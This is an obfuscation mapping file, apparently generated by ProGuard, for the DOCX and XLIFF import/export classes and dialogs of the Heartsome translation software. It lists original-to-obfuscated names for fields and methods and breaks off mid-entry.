ananysisTextWithTag(java.lang.String) -> eW + void main(java.lang.String[]) -> main + java.lang.String getTextStr() -> nT + java.lang.String createParagram(java.lang.String) -> eX + java.lang.String createRNode(java.lang.String,boolean,java.lang.String) -> b + void deleteFileOrFolder(java.io.File) -> deleteFileOrFolder + java.lang.String createNotPairTag(java.lang.String) -> eY + java.lang.String createStartTag(java.lang.String) -> eZ + java.lang.String createEndTag(java.lang.String) -> fa + void addTagRIdToRels() -> nU + java.lang.String createTableContent() -> nV + java.lang.String createTableHeader(java.lang.String,java.lang.String) -> Z + java.lang.String createRow(net.heartsome.cat.ts.ui.docx.common.TUBean) -> a + java.lang.String createComment(java.util.List) -> J + org.eclipse.swt.widgets.Shell access$0(net.heartsome.cat.ts.ui.docx.ExportDocx) -> a + java.lang.String access$1() -> hj +net.heartsome.cat.ts.ui.docx.ExportDocx$1 -> net.heartsome.cat.ts.ui.docx.c: + net.heartsome.cat.ts.ui.docx.ExportDocx this$0 -> SE + void run() -> run +net.heartsome.cat.ts.ui.docx.ExportDocx$2 -> net.heartsome.cat.ts.ui.docx.d: + net.heartsome.cat.ts.ui.docx.ExportDocx this$0 -> SE + void run() -> run +net.heartsome.cat.ts.ui.docx.ExportDocx$3 -> net.heartsome.cat.ts.ui.docx.e: + net.heartsome.cat.ts.ui.docx.ExportDocx this$0 -> SE + void run() -> run +net.heartsome.cat.ts.ui.docx.ImportDocx -> net.heartsome.cat.ts.ui.docx.f: + java.lang.String statusRegex -> SF + java.lang.String docxPath -> Sq + java.lang.String xliffPath -> mv + java.lang.String tempFolder -> Sw + java.lang.String docxFolderPath -> Sx + java.lang.String documentXmlPath -> Sv + com.ximpleware.VTDNav vn -> vn + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + com.ximpleware.AutoPilot extendAP -> mp + com.ximpleware.AutoPilot otherAP -> mn + com.ximpleware.AutoPilot commentAP -> SG + boolean hasComment -> SH + boolean hasStatus -> SI + org.slf4j.Logger LOGGER -> LOGGER + java.util.List getDataFromWord() -> nW + boolean validFileLegalized() -> nX + void getIndexAndRowId(net.heartsome.cat.ts.ui.docx.common.RowBean) -> a + java.lang.String getColumnType() -> nY + java.util.List getSrcOrTgtText() -> nZ + void getComments(net.heartsome.cat.ts.ui.docx.common.RowBean) -> b + java.lang.String getStatus() -> getStatus + void deleteFileOrFolder(java.io.File) -> deleteFileOrFolder + boolean isHasComment() -> oa + boolean isHasStatus() -> ob + void main(java.lang.String[]) -> main +net.heartsome.cat.ts.ui.docx.common.CommentBean -> net.heartsome.cat.ts.ui.docx.common.a: + java.lang.String user -> user + java.lang.String time -> SJ + java.lang.String text -> text + java.lang.String getUser() -> getUser + void setUser(java.lang.String) -> setUser + java.lang.String getTime() -> getTime + void setTime(java.lang.String) -> fb + java.lang.String getText() -> getText + void setText(java.lang.String) -> setText +net.heartsome.cat.ts.ui.docx.common.DisplayTags -> net.heartsome.cat.ts.ui.docx.common.j: + boolean show -> amR + java.lang.StringBuilder content -> amS + java.lang.String displayText -> amT + java.lang.String getContent() -> getContent + void appendContent(char[],long) -> a + boolean isShow() -> oB + void setShow(boolean) -> setShow + java.lang.String getDisplayText() -> oC + void setDisplayText(java.lang.String) -> fu +net.heartsome.cat.ts.ui.docx.common.DocxCommonFuction -> net.heartsome.cat.ts.ui.docx.common.b: + int getTagType(java.lang.String) -> fc + void monitorWork(org.eclipse.core.runtime.IProgressMonitor,int,int,boolean) -> a +net.heartsome.cat.ts.ui.docx.common.DocxConstant -> net.heartsome.cat.ts.ui.docx.common.c: + java.lang.String HSDOCX_FLAG -> SK + java.lang.String EXPORT_GROUP_IMAGE_PATH -> SL + java.lang.String COMMENT_SPLIT -> SM + int PAIRSTAR -> SN + int PAIREND -> SO + int NOTPAIR -> SP + int ERROR_notFindTU -> SR + int ERROR_tagLose -> SS + int ERROR_tagMore -> ST + int ERROR_tagPostionError -> SU + int ERROR_tagNotSame -> SV + int ERROR_pairTagError -> SX + int STATUS_unstrans -> SY + int STATUS_draft -> SZ + int STATUS_translated -> Ta + int STATUS_approved -> Tb + int STATUS_signedOff -> Tc + int STATUS_locked -> Td + int STATUS_notSendToTm -> Te + int STATUS_needsReview -> Th + java.lang.String COLUMN_TYPE_src -> Ti + java.lang.String COLUMN_TYPE_tgt -> Tj + java.lang.String COLUMN_TYPE_comment -> Tk + java.lang.String COLUMN_TYPE_status -> Tl + void main(java.lang.String[]) -> main +net.heartsome.cat.ts.ui.docx.common.ErrorBean -> net.heartsome.cat.ts.ui.docx.common.d: + java.lang.String index -> index + boolean isSrc -> Tm + int errorType -> errorType + java.lang.String getIndex() -> getIndex + void setIndex(java.lang.String) -> setIndex + boolean isSrc() -> oc + void setSrc(boolean) -> R + int getErrorType() -> getErrorType + void setErrorType(int) -> setErrorType +net.heartsome.cat.ts.ui.docx.common.FlagErrorException -> net.heartsome.cat.ts.ui.docx.common.e: + long serialVersionUID -> serialVersionUID +net.heartsome.cat.ts.ui.docx.common.RowBean -> net.heartsome.cat.ts.ui.docx.common.f: + java.lang.String rowId -> OH + java.lang.String index -> index + java.util.List srcElement -> Tn + java.util.List tgtElement -> To + boolean isLocked -> dY + java.util.List comment -> Tp + java.lang.String status -> status + java.lang.String getRowId() -> getRowId + void setRowId(java.lang.String) -> setRowId + java.lang.String getIndex() -> getIndex + void setIndex(java.lang.String) -> setIndex + java.util.List getSrcElement() -> od + void setSrcElement(java.util.List) -> K + java.util.List getTgtElement() -> oe + void setTgtElement(java.util.List) -> L + java.lang.String getStatus() -> getStatus + void setStatus(java.lang.String) -> setStatus + java.util.List getComment() -> of + void setComment(java.util.List) -> M + boolean isLocked() -> isLocked + void setLocked(boolean) -> setLocked +net.heartsome.cat.ts.ui.docx.common.TUBean -> net.heartsome.cat.ts.ui.docx.common.g: + java.lang.String index -> index + java.lang.String rowId -> OH + java.lang.String srcText -> fO + java.lang.String tgtText -> fP + java.util.List comment -> Tp + java.lang.String status -> status + java.lang.String getRowId() -> getRowId + void setRowId(java.lang.String) -> setRowId + java.lang.String getSrcText() -> getSrcText + void setSrcText(java.lang.String) -> setSrcText + java.lang.String getTgtText() -> getTgtText + void setTgtText(java.lang.String) -> setTgtText + java.util.List getComment() -> of + void setComment(java.util.List) -> M + java.lang.String getStatus() -> getStatus + void setStatus(java.lang.String) -> setStatus + java.lang.String getIndex() -> getIndex + void setIndex(java.lang.String) -> setIndex +net.heartsome.cat.ts.ui.docx.common.TagBean -> net.heartsome.cat.ts.ui.docx.common.h: + int startIndex -> startIndex + int endIndex -> endIndex + int tagType -> Tq + java.lang.String text -> text + int getStartIndex() -> getStartIndex + void setStartIndex(int) -> setStartIndex + int getEndIndex() -> getEndIndex + void setEndIndex(int) -> setEndIndex + int getTagType() -> og + void setTagType(int) -> ag + java.lang.String getText() -> getText + void setText(java.lang.String) -> setText +net.heartsome.cat.ts.ui.docx.common.TagsResolver -> net.heartsome.cat.ts.ui.docx.common.k: + char[] ch -> ch + java.util.LinkedList list -> amU + void reset(java.lang.String) -> reset + java.util.List reslove() -> oD + void main(java.lang.String[]) -> main + void test() -> test + int getTag(char[],int,int) -> a + java.lang.String tagName(char[],int,int) -> b + boolean isBorder(char) -> j + java.util.List getDisplayText() -> oE + boolean testShow(net.heartsome.cat.ts.ui.docx.common.XlfFragment) -> a +net.heartsome.cat.ts.ui.docx.common.XlfFragment -> net.heartsome.cat.ts.ui.docx.common.l: + int CDDATA -> amV + int TAG_G -> amW + int TAG_SUB -> amX + int TAG_PH -> amY + int TAG_IT -> amZ + int TAG_X -> ana + int TAG_BX -> anb + int TAG_EX -> anc + int TAG_BPT -> and + int TAG_EPT -> ane + int ELEM_SELFCLOSE -> anf + int ELEM_START -> ang + int ELEM_END -> anh + int tag -> tag + int tagType -> Tq + long fragment -> ani + void setFragment(int,int) -> i + long getFragment() -> oF + int getTag() -> getTag + void setTag(int) -> ap + int getTagType() -> og + void setTagType(int) -> ag +net.heartsome.cat.ts.ui.docx.common.ZipUtil -> net.heartsome.cat.ts.ui.docx.common.i: + void zipFolder(java.lang.String,java.lang.String) -> k + java.lang.String upZipFile(java.lang.String,java.lang.String) -> upZipFile + void zipFiles(java.util.zip.ZipOutputStream,java.io.File,java.lang.String) -> a + java.io.File getRealFileName(java.lang.String,java.lang.String) -> a +net.heartsome.cat.ts.ui.docx.dialog.ErrorTipDialog -> net.heartsome.cat.ts.ui.docx.dialog.a: + org.eclipse.swt.graphics.Image logoImage -> zy + java.lang.String errorTip -> OF + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createLogoArea(org.eclipse.swt.widgets.Composite) -> o + void createTipsTextGroup(org.eclipse.swt.widgets.Composite) -> ad + boolean close() -> close +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog -> net.heartsome.cat.ts.ui.docx.dialog.b: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String STORE_DOCX_PATH -> Tr + org.eclipse.core.resources.IWorkspaceRoot root -> root + java.util.ArrayList lstProject -> Ts + org.eclipse.swt.widgets.Text xliffPathTxt -> Tt + org.eclipse.swt.widgets.Button btnBrowseXLIFF -> Tu + org.eclipse.swt.widgets.Button statusBtn -> Tv + org.eclipse.swt.widgets.Button commentBtn -> Tw + org.eclipse.swt.widgets.Text docxPathTxt -> Tx + org.eclipse.swt.widgets.Button browseDocxBtn -> Ty + java.lang.String strXliffFullPath -> Tz + java.lang.String strXliffRelativePath -> TA + org.eclipse.swt.widgets.Button excludeBtn -> TB + org.eclipse.swt.widgets.Button onlyExportBtn -> TC + org.eclipse.swt.widgets.Button excludeLockedBtn -> TD + org.eclipse.swt.widgets.Button exclude101Btn -> TE + org.eclipse.swt.widgets.Button exclude100Btn -> TF + org.eclipse.swt.widgets.Button onlyExportNoteBtn -> TG + org.eclipse.swt.widgets.Button onlyExportReviewBtn -> TH + org.eclipse.swt.widgets.Group excludeGroup -> TI + org.eclipse.swt.widgets.Group onlyExportGroup -> TJ + com.ximpleware.AutoPilot otherAP -> mn + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void initRtfPath() -> oh + void initListener() -> initListener + void okPressed() -> okPressed + void beginExport(org.eclipse.core.runtime.IProgressMonitor,java.lang.String,boolean,boolean,java.lang.String) -> a + void getComments(com.ximpleware.VTDNav,net.heartsome.xml.vtdimpl.VTDUtils,net.heartsome.cat.ts.ui.docx.common.TUBean) -> a + org.eclipse.core.resources.IWorkspaceRoot access$0(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> a + org.slf4j.Logger access$1() -> bY + java.util.ArrayList access$2(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> b + org.eclipse.swt.widgets.Text access$3(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> c + void access$4(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog,java.lang.String) -> a + org.eclipse.swt.widgets.Text access$5(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> d + org.eclipse.swt.widgets.Button access$6(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> e + org.eclipse.swt.widgets.Group access$7(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> f + org.eclipse.swt.widgets.Button access$8(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> g + org.eclipse.swt.widgets.Button access$9(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> h + org.eclipse.swt.widgets.Button access$10(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> i + org.eclipse.swt.widgets.Group access$11(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> j + org.eclipse.swt.widgets.Button access$12(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> k + org.eclipse.swt.widgets.Button access$13(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> l + org.eclipse.swt.widgets.Button access$14(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog) -> m + void access$15(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog,org.eclipse.core.runtime.IProgressMonitor,java.lang.String,boolean,boolean,java.lang.String) -> a +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$1 -> net.heartsome.cat.ts.ui.docx.dialog.c: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog this$0 -> TK + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog access$0(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$1) -> a +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$1$1 -> net.heartsome.cat.ts.ui.docx.dialog.d: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$1 this$1 -> TL + void create() -> create +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$1$2 -> net.heartsome.cat.ts.ui.docx.dialog.e: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$1 this$1 -> TL + boolean select(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> select +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$2 -> net.heartsome.cat.ts.ui.docx.dialog.f: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog this$0 -> TK + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$3 -> net.heartsome.cat.ts.ui.docx.dialog.g: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog this$0 -> TK + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$4 -> net.heartsome.cat.ts.ui.docx.dialog.h: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog this$0 -> TK + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$5 -> net.heartsome.cat.ts.ui.docx.dialog.i: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog this$0 -> TK + java.lang.String val$finalDocxPath -> TM + boolean val$commentSelection -> TN + boolean val$statusSelection -> TO + java.lang.String val$finalExpandXpath -> TP + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog access$0(net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$5) -> a +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$5$1 -> net.heartsome.cat.ts.ui.docx.dialog.j: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$5 this$1 -> TQ + void run() -> run +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$5$2 -> net.heartsome.cat.ts.ui.docx.dialog.k: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$5 this$1 -> TQ + java.lang.Exception val$e -> TR + void run() -> run +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$6 -> net.heartsome.cat.ts.ui.docx.dialog.l: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog this$0 -> TK + void running(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> running + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$7 -> net.heartsome.cat.ts.ui.docx.dialog.m: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog this$0 -> TK + java.lang.String val$parseErrorTip -> TS + void run() -> run +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$8 -> net.heartsome.cat.ts.ui.docx.dialog.n: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog this$0 -> TK + void run() -> run +net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog$9 -> net.heartsome.cat.ts.ui.docx.dialog.o: + net.heartsome.cat.ts.ui.docx.dialog.ExportDocxDialog this$0 -> TK + void run() -> run +net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog -> net.heartsome.cat.ts.ui.docx.dialog.aa: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Text txtSaveas -> anj + org.eclipse.swt.widgets.Button btnHsproofNote -> ank + org.eclipse.swt.widgets.Button btnHsproofState -> anl + org.eclipse.swt.widgets.Composite cmpFilterAllTrans -> anm + org.eclipse.swt.widgets.Button btnAllTrans -> ann + org.eclipse.swt.widgets.Button btnExceptLocked -> ano + org.eclipse.swt.widgets.Button btnExceptContextMatch -> anp + org.eclipse.swt.widgets.Button btnExceptFullMatch -> anq + org.eclipse.swt.widgets.Composite cmpFilterOnlySpecial -> anr + org.eclipse.swt.widgets.Button btnOnlySpecial -> ans + org.eclipse.swt.widgets.Button btnHasNote -> ant + org.eclipse.swt.widgets.Button btnNeedReview -> anu + org.eclipse.swt.widgets.Composite cmpFilterWhenState -> anv + org.eclipse.swt.widgets.Button btnFilterWhenState -> anw + org.eclipse.swt.widgets.Button btnNotrans -> anx + org.eclipse.swt.widgets.Button btnNewtrans -> any + org.eclipse.swt.widgets.Button btnTransed -> anz + org.eclipse.swt.widgets.Button btnApproved -> sR + org.eclipse.jface.dialogs.IDialogSettings dialogSetting -> anA + org.eclipse.swt.widgets.Combo cmb -> anB + net.heartsome.cat.ts.ui.external.ExportConfig config -> anC + java.util.List xlfBeans -> anD + java.util.List proPath -> anE + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void setDefaultValue() -> oG + void setFilterDefaultValue() -> oH + void okPressed() -> okPressed + java.util.List access$0(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> a + java.util.List access$1(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> b + org.eclipse.swt.widgets.Combo access$2(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> c + org.eclipse.swt.widgets.Button access$3(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> d + org.eclipse.swt.widgets.Button access$4(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> e + org.eclipse.swt.widgets.Button access$5(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> f + org.eclipse.swt.widgets.Button access$6(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> g + org.eclipse.swt.widgets.Button access$7(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> h + void access$8(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> i + org.eclipse.swt.widgets.Button access$9(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> j + org.eclipse.swt.widgets.Button access$10(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog,int) -> a + org.eclipse.swt.widgets.Text access$11(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> k + org.eclipse.jface.dialogs.IDialogSettings access$12(net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog) -> l +net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog$1 -> net.heartsome.cat.ts.ui.docx.dialog.ab: + net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog this$0 -> anF + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog$2 -> net.heartsome.cat.ts.ui.docx.dialog.ac: + net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog this$0 -> anF + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog$3 -> net.heartsome.cat.ts.ui.docx.dialog.ad: + net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog this$0 -> anF + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog$4 -> net.heartsome.cat.ts.ui.docx.dialog.ae: + net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog this$0 -> anF + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog$5 -> net.heartsome.cat.ts.ui.docx.dialog.af: + net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog this$0 -> anF + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog$6 -> net.heartsome.cat.ts.ui.docx.dialog.ag: + net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog this$0 -> anF + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog$TableViewLabelProvider -> net.heartsome.cat.ts.ui.docx.dialog.ah: + net.heartsome.cat.ts.ui.docx.dialog.ExportExternalDialog this$0 -> anF + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog -> net.heartsome.cat.ts.ui.docx.dialog.p: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String STORE_DOCX_PATH -> Tr + org.eclipse.core.resources.IWorkspaceRoot root -> root + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + java.util.ArrayList lstProject -> Ts + org.eclipse.swt.widgets.Text xliffPathTxt -> Tt + org.eclipse.swt.widgets.Button browseXLIFFBtn -> TT + org.eclipse.swt.widgets.Text docxPathTxt -> Tx + org.eclipse.swt.widgets.Button browseDocxBtn -> Ty + java.lang.String xliffFullPath -> TU + java.lang.String xliffRelativePath -> TV + net.heartsome.cat.ts.core.file.XLFHandler xlfHandler -> dE + net.heartsome.cat.ts.core.file.XLFHandler tempXlfHandler -> TW + java.lang.String xliffPath -> mv + com.ximpleware.VTDNav vn -> vn + com.ximpleware.AutoPilot ap -> m + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + com.ximpleware.XMLModifier xm -> hk + java.util.List errorList -> TX + java.util.Set errorRowSet -> TY + boolean continuImport -> TZ + boolean hasComment -> SH + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void initRtfPath() -> oh + void initListener() -> initListener + void okPressed() -> okPressed + boolean beginImport(java.lang.String) -> fd + boolean parseXliff(net.heartsome.cat.ts.core.file.XLFHandler) -> b + boolean curRowIsLocked(java.lang.String) -> fe + java.lang.String getSrcTextFromXliffByRowId(java.lang.String) -> ff + java.util.List getTagFromSrcText(java.lang.String) -> fg + void importDocxToXliffList(java.util.List) -> N + void ananysisStatusAndComment(java.util.List) -> O + void setOtherStatus(int) -> ah + org.eclipse.core.resources.IWorkspaceRoot access$0(net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog) -> a + org.slf4j.Logger access$1() -> bY + java.util.ArrayList access$2(net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog) -> b + org.eclipse.swt.widgets.Text access$3(net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog) -> c + void access$4(net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog,java.lang.String) -> a + org.eclipse.swt.widgets.Text access$5(net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog) -> d + void access$6(net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog,boolean) -> a + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable access$7(net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog) -> e + java.lang.String access$8(net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog) -> f +net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$1 -> net.heartsome.cat.ts.ui.docx.dialog.q: + net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog this$0 -> Ua + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog access$0(net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$1) -> a +net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$1$1 -> net.heartsome.cat.ts.ui.docx.dialog.r: + net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$1 this$1 -> Ub + void create() -> create +net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$1$2 -> net.heartsome.cat.ts.ui.docx.dialog.s: + net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$1 this$1 -> Ub + boolean select(org.eclipse.jface.viewers.Viewer,java.lang.Object,java.lang.Object) -> select +net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$2 -> net.heartsome.cat.ts.ui.docx.dialog.t: + net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog this$0 -> Ua + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$3 -> net.heartsome.cat.ts.ui.docx.dialog.u: + net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog this$0 -> Ua + java.lang.String val$docxPath -> Uc + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$4 -> net.heartsome.cat.ts.ui.docx.dialog.v: + net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog this$0 -> Ua + void run() -> run +net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$5 -> net.heartsome.cat.ts.ui.docx.dialog.w: + net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog this$0 -> Ua + java.lang.String val$errorTip -> RU + void run() -> run +net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$6 -> net.heartsome.cat.ts.ui.docx.dialog.x: + net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog this$0 -> Ua + void run() -> run +net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$7 -> net.heartsome.cat.ts.ui.docx.dialog.y: + net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog this$0 -> Ua + net.heartsome.cat.ts.ui.docx.common.FlagErrorException val$e -> agJ + void run() -> run +net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog$8 -> net.heartsome.cat.ts.ui.docx.dialog.z: + net.heartsome.cat.ts.ui.docx.dialog.ImportDocxDialog this$0 -> Ua + void run() -> run +net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog -> net.heartsome.cat.ts.ui.docx.dialog.ai: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.core.resources.IWorkspaceRoot root -> root + java.util.ArrayList lstProject -> Ts + org.eclipse.swt.widgets.Text xliffPathTxt -> Tt + org.eclipse.swt.widgets.Button browseXLIFFBtn -> TT + org.eclipse.swt.widgets.Text docxPathTxt -> Tx + org.eclipse.swt.widgets.Button browseDocxBtn -> Ty + java.lang.String xliffFullPath -> TU + java.lang.String xliffRelativePath -> TV + net.heartsome.cat.ts.ui.external.ImportConfig config -> anG + org.eclipse.swt.widgets.Label txtImportType -> anH + org.eclipse.jface.dialogs.IDialogSettings dialogSetting -> anA + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed + boolean testFileType(java.lang.String) -> fv + int testUncelan(java.lang.String) -> fw + int testHsproof(java.lang.String) -> fx + void alertParseError(java.lang.String) -> fy + org.eclipse.core.resources.IWorkspaceRoot access$0(net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog) -> a + org.slf4j.Logger access$1() -> bY + java.util.ArrayList access$2(net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog) -> b + org.eclipse.swt.widgets.Text access$3(net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog) -> c + void access$4(net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog,java.lang.String) -> a + org.eclipse.swt.widgets.Button access$5(net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog,int) -> a + org.eclipse.swt.widgets.Text access$6(net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog) -> d + org.eclipse.jface.dialogs.IDialogSettings access$7(net.heartsome.cat.ts.ui.docx.dialog.ImportExternalDialog) -> e + boolean 